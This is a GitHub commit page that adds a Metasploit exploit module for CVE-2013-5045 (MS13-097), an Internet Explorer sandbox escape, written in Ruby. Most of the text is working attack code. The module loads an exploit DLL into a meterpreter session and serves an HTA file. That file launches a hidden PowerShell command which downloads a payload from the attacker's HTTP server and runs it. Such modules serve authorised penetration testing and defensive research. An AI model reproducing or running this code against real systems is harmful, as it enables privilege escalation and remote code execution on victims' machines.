Skip to content

Commit 6e122e6

Browse files
committed
Add module for CVE-2013-5045
1 parent 53ab2ae commit 6e122e6

File tree

2 files changed

+141
-0
lines changed

2 files changed

+141
-0
lines changed
163 KB
Binary file not shown.
Lines changed: 141 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,141 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'msf/core/exploit/exe'
9+
require 'msf/core/exploit/powershell'
10+
11+
class Metasploit3 < Msf::Exploit::Local
12+
Rank = GreatRanking
13+
14+
include Msf::Exploit::Powershell
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::Remote::HttpServer
17+
include Msf::Post::Windows::Priv
18+
19+
def initialize(info={})
20+
super( update_info( info,
21+
'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape',
22+
'Description' => %q{
23+
This module exploits a vulnerability in Internet Explorer Sandbox which allows to
24+
escape the Enhanced Protected Mode and execute code with Medium Integrity. The
25+
vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll
26+
component, which can be abused to force medium integrity IE to user influenced keys.
27+
By using registry symlinks it's possible force IE to add a policy entry in the registry
28+
and finally bypass Enhanced Protected Mode.
29+
},
30+
'License' => MSF_LICENSE,
31+
'Author' =>
32+
[
33+
'James Forshaw', # Vulnerability Discovery and original exploit code
34+
'juan vazquez' # metasploit module
35+
],
36+
'Platform' => [ 'win' ],
37+
'SessionTypes' => [ 'meterpreter' ],
38+
'Stance' => Msf::Exploit::Stance::Aggressive,
39+
'Targets' =>
40+
[
41+
[ 'IE 8 - 11', { } ]
42+
],
43+
'DefaultTarget' => 0,
44+
'DisclosureDate' => "Dec 10 2013",
45+
'References' =>
46+
[
47+
['CVE', '2013-5045'],
48+
['MSB', 'MS13-097'],
49+
['BID', '64115'],
50+
['URL', 'https://github.com/tyranid/IE11SandboxEscapes']
51+
]
52+
))
53+
54+
register_options(
55+
[
56+
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])
57+
])
58+
end
59+
60+
def exploit
61+
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?
62+
63+
mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')
64+
if mod_handle['return'] == 0
65+
fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")
66+
end
67+
68+
unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]
69+
fail_with(Failure::NotVulnerable, "Not running at Low Integrity")
70+
end
71+
72+
begin
73+
Timeout.timeout(datastore['DELAY']) { super }
74+
rescue Timeout::Error
75+
end
76+
end
77+
78+
def primer
79+
hta_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.hta"
80+
session.railgun.kernel32.SetEnvironmentVariableA("HTA_URL", hta_uri)
81+
82+
html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"
83+
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)
84+
85+
temp = session.sys.config.getenv('TEMP')
86+
87+
print_status("Loading Exploit Library...")
88+
89+
session.core.load_library(
90+
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),
91+
'TargetFilePath' => temp + "\\CVE-2013-5045.dll",
92+
'UploadLibrary' => true,
93+
'Extension' => false,
94+
'SaveToDisk' => false
95+
)
96+
end
97+
98+
def on_request_uri(cli, request)
99+
if request.uri =~ /\.hta$/
100+
print_status("Sending hta...")
101+
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{get_uri}/#{rand_text_alpha(4 + rand(4))}.psh'))"
102+
command = "powershell.exe -w hidden -nop -c #{download_and_run}"
103+
hta = <<-eos
104+
<script>
105+
var command = "cmd.exe /c #{command}";
106+
var shell = new ActiveXObject("WScript.Shell");
107+
shell.Run(command);
108+
</script>
109+
eos
110+
send_response(cli, hta, {'Content-Type'=>'application/hta'})
111+
elsif request.uri =~ /\.psh$/
112+
print_status("Sending psh payload...")
113+
data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
114+
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
115+
elsif request.uri =~ /\.html$/
116+
print_status("Sending window close html...")
117+
close_html = <<-eos
118+
<html>
119+
<body>
120+
<script>
121+
window.open('', '_self', '');
122+
window.close();
123+
</script>
124+
</body>
125+
</html>
126+
eos
127+
send_response(cli, close_html, { 'Content-Type' => 'text/html' })
128+
else
129+
send_not_found(cli)
130+
end
131+
end
132+
133+
def get_dll
134+
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll")
135+
dll = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
136+
137+
dll
138+
end
139+
140+
end
141+

0 commit comments

Comments
 (0)